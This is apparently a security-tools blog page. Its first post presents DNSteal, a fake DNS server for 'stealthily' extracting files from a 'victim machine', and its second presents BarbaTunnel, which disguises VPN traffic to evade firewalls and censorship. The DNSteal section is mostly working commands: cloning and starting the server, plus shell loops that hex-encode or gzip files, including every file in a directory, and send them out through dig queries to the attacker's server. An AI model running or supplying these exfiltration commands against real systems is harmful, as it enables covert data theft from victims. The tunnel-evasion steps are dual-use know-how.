data exfiltration – DNSteal

download

Dnsteal is a Data Exfiltration Tool Through DNS Requests for stealthily sending files over DNS requests. Once setup and run successfully it acts as a fake DNS server that allows you to stealthily extract files from a victim machine through DNS requests.

Install & start server
git clone https://github.com/dutchcoin/dnsteal.git /opt/dnsteal
Git clone printscreen

cd /opt/dnsteal && python dnsteal.py
DNSteal running

Transfer file from the victim
On the victim machine, you simply can do something like so:
for b in $(xxd -p file/to/send.png); do dig @server $b.filename.com; done
[000001]

On the server side you will see the file transfer start:
[000003]
When the transfer is finished you must stop the server with CTRL-C to save the file and view the md5sum
You can verify the md5sum on the victims machine by running
md5sum filename

Features:

Support for multiple files
Dnstool supports multiple files to be exfiltereted. Use as below.
for filename in $(ls); do for b in $(xxd -p $f); do dig +short@server %b.$filename.com; done; done
gzip compression supported

It also supports compression of the file to allow for faster transfer speeds, this can be achieved using the “-z” switch:
python dnsteal.py 127.0.0.1 –z

Then on the victim machine send a Gzipped file like below:
for b in $(gzip -c file/to/send.png | xxd -p); do dig @server $b.filename.com; done

For multiple, gzip compressed files use as below:
for filename in $(ls); do for b in $(gzip -c $filename | xxd -p); do dig +short @server %b.$filename.com; done; done

FacebookTwitterGoogle+Share

firewall evasion – BarbaTunnel

download

BarbaTunnel is software that helps you to bypass firewall and internet censorship, it is a Peer to Peer tunnel so you need a server outside of firewall network. In most case you can simply use VPN or any proxies but when you use VPN, firewall knows that you use a VPN, it does not know what you do, VPN and some other proxies does not hide their fingerprint. BarbaTunnel is a layer on your network and try to make existing VPN packets look at traditional packets. Actually BarbaTunnel does not work alone and it work with VPN. So if you have VPN and you don’t have any issue with it, you do not need BarbaTunnel, but if the firewall blocks your VPN connection or your VPN connection speed decreased by firewall, BarbaTunnel may helpful for you.

Attention: BarbaTunnel is not standalone tunnel and you should run a tunnel application or use a standard VPN connection after running BarbaTunnel.

BarbaTunnelMonitor

BarbaTunnel requires .NET Framework 4.5 for “Barba Monitor” and “Barba Service”, but BarbaTunnel.exe does not need .NET Framework, so you can run it manually on both client and server side without .NET Framework.
Configure Server

Login to your Windows Server.
Download BarbaTunnel and extract it.
Open “barbatunnel.ini” in BarbaTunnel folder and set “ServerMode=1”
Go to BarbaTunnel folder and open “config\servername” folder then open “HTTP-Retunnel.ini” file.
Set “ServerAddress” to your server ip address (required).
Run “Install.vbs”
Run “Run.Vbs”
Server already configured for specific ports, for custom configuration see “config.ini”.
Configure Client Machine

Login to your Windows Client.
Download BarbaTunnel and extract it.
Copy “config” folder and its config files that you have already created them in the server machine.
Run “Install.vbs”
Run “Run.Vbs”
Try to establish a VPN connection to your server
Remarks

It is recommended to rename “servername” folder to your server name or server ip (optional).
Ensure the major version of BarbaServer and BarbaClient is same. Such 1.0 and 1.1
Make sure both server config file and client config file is same.
Make sure the enterprise firewall does not block tunnel ports.
Make sure your Local Firewall such as Windows Firewall does not block tunnel ports or BarbaTunnel.
Make sure you have access to reboot your system if you lose the connection to your server, before run BarbaTunnel you can create a timer-job to restart your server if you have limited access to your server reboot.

FacebookTwitterGoogle+Share